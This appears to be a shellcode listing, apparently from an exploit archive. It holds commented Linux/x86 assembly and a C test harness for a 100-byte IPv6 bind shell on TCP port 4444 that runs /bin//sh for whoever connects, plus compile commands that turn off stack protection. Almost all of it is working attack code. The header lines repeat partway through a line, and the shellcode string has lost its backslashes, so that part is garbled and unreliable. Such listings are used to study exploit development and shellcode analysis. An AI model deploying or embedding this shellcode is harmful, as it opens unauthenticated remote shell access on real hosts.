Linux x86 TCP 4444 Bindshell Shellcode

# Title: Linux/x86 - Bind (4444/TCP) Shell + IPv6 Shellcode (100 bytes)
# Length : 100bytes
# Author: Kartik Durg
# Write-up Link: https://iamroot.blog/2018/07/17/0x1-shell_bind_tcp_ipv # Title: Linux/x86 - Bind (4444/TCP) Shell + IPv6 Shellcode (100 bytes)
# Length : 100bytes
# Author: Kartik Durg
# Write-up Link: https://iamroot.blog/2018/07/17/0x1-shell_bind_tcp_ipv6-linux-x86/
# Tested on: Ubuntu 16.0.4.1 (i686)

/*
global _start
section .text

_start:
;References:
;(1)http://syscalls.kernelgrok.com/
;(2)https://www.3dbrew.org/wiki/Socket_Services
;(3)http://osr600doc.xinuos.com/en/SDK_netapi/sockC.TheIPv6sockaddrstructure.html
;(4)http://www.qnx.com/developers/docs/6.5.0/index.jsp?topic=%2Fcom.qnx.doc.neutrino_lib_ref%2Fi%2Finet6_proto.html

;IPV6 socket creation
;int socketcall(int call, unsigned long *args);
;sockfd = socket(int socket_family, int socket_type, int protocol);
push byte 0x66 ; socketcall()
pop eax ;EAX=0x2

xor ebx,ebx ; zero out ebx

push 0x6 ; IPPROTO_TCP=6
push 0x1 ; socket_type=SOCK_STREAM (0x1)
push 0xa ; AF_INET6
inc ebx ; Define SYS_socket = 1
mov ecx,esp ; save pointer (ESP) to socket() args (ECX)
int 0x80
xchg esi,eax ; host_sockfd stored in esi
xor eax,eax

;int socketcall(int call, unsigned long *args);
;bind(host_sockfd, (struct sockaddr*) &host_addr, sizeof(host_addr));
push DWORD eax ;x4 dword ipv6 loopback | EAX contains 0
push DWORD eax
push DWORD eax
push DWORD eax
push eax ;sin6_addr = in6addr_any | in6addr_any=::0
push WORD 0x5c11 ;sin6_port=4444 | 0x5c11 | Configurable |
push WORD 0x0a ;AF_INET6
mov ecx,esp ;ECX holds pointer to struct sockaddr
push byte 0x1c ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
push ecx ;pointer to host_sockfd
push esi ;host_sockfd
mov ecx,esp ;ECX points to args
inc ebx ;EBX = 0x2 | #define SYS_BIND 2
push byte 0x66 ;socketcall()
pop eax
int 80h

;Listen
;int socketcall(int call, unsigned long *args);
;int listen(int host_sockfd, int backlog);
push ebx ;EBX=2 | backlog=2
push esi ;poiter to host_sockfd
mov ecx,esp ;ECX points to args
inc ebx
inc ebx ;EBX=0x4 | #define SYS_LISTEN 4
push byte 0x66
pop eax ;socketcall()
int 80h

;Accept
;int socketcall(int call, unsigned long *args);
;accept(int sockfd, NULL, NULL);
cdq ;EDX = 0x0 | Saves a byte
push edx ;Push NULL
push edx ;Push NULL
push esi ;Push host_sockfd
mov ecx,esp ;ECX points to args
inc ebx ;EBX = 0x5 | #define SYS_ACCEPT 5
push byte 0x66 ;socketcall()
pop eax
int 80h

xchg ebx,eax ;save client_sockfd

push byte 0x2 ;push 0x2 on stack
pop ecx ;ECX = 2

;dup2() to redirect stdin(0), stdout(1) and stderr(2)
loop:
push byte 0x3f ;dup2()
pop eax ;ECX = 0x3f
int 0x80 ;exec sys_dup2
dec ecx ;decrement counter
jns loop ;SF not set? then keep on jumping

;execve(/bin//sh)
xor ecx,ecx ;clear ECX
push ecx ;Push NULL
push byte 0x0b ;execve() sys call number
pop eax ;EAX=0x2 | execve()
push 0x68732f2f ;(1)/bin//sh
push 0x6e69622f ;(2)/bin//sh
mov ebx,esp ;EBX pointing to "/bin//sh"
int 0x80 ;Calling Interrupt for sys call
*/

/*
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack -m32

./shellcode

*/

#include<stdio.h>

unsigned char shellcode[] =
"x6ax66x58x31xdbx6ax06x6ax01x6ax0ax43x89xe1xcdx80x96x31xc0x50x50x50x50x50x66x68x11x5cx66x6ax0ax89xe1x6ax1cx51x56x89xe1x43x6ax66x58xcdx80x53x56x89xe1x43x43x6ax66x58xcdx80x99x52x52x56x89xe1x43x6ax66x58xcdx80x93x6ax02x59x6ax3fx58xcdx80x49x79xf8x31xc9x51x6ax0bx58x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80";

main()
{
printf("Shellcode Length: %d ", sizeof(shellcode) - 1);
int (*ret)() = (int(*)())shellcode;
ret();
}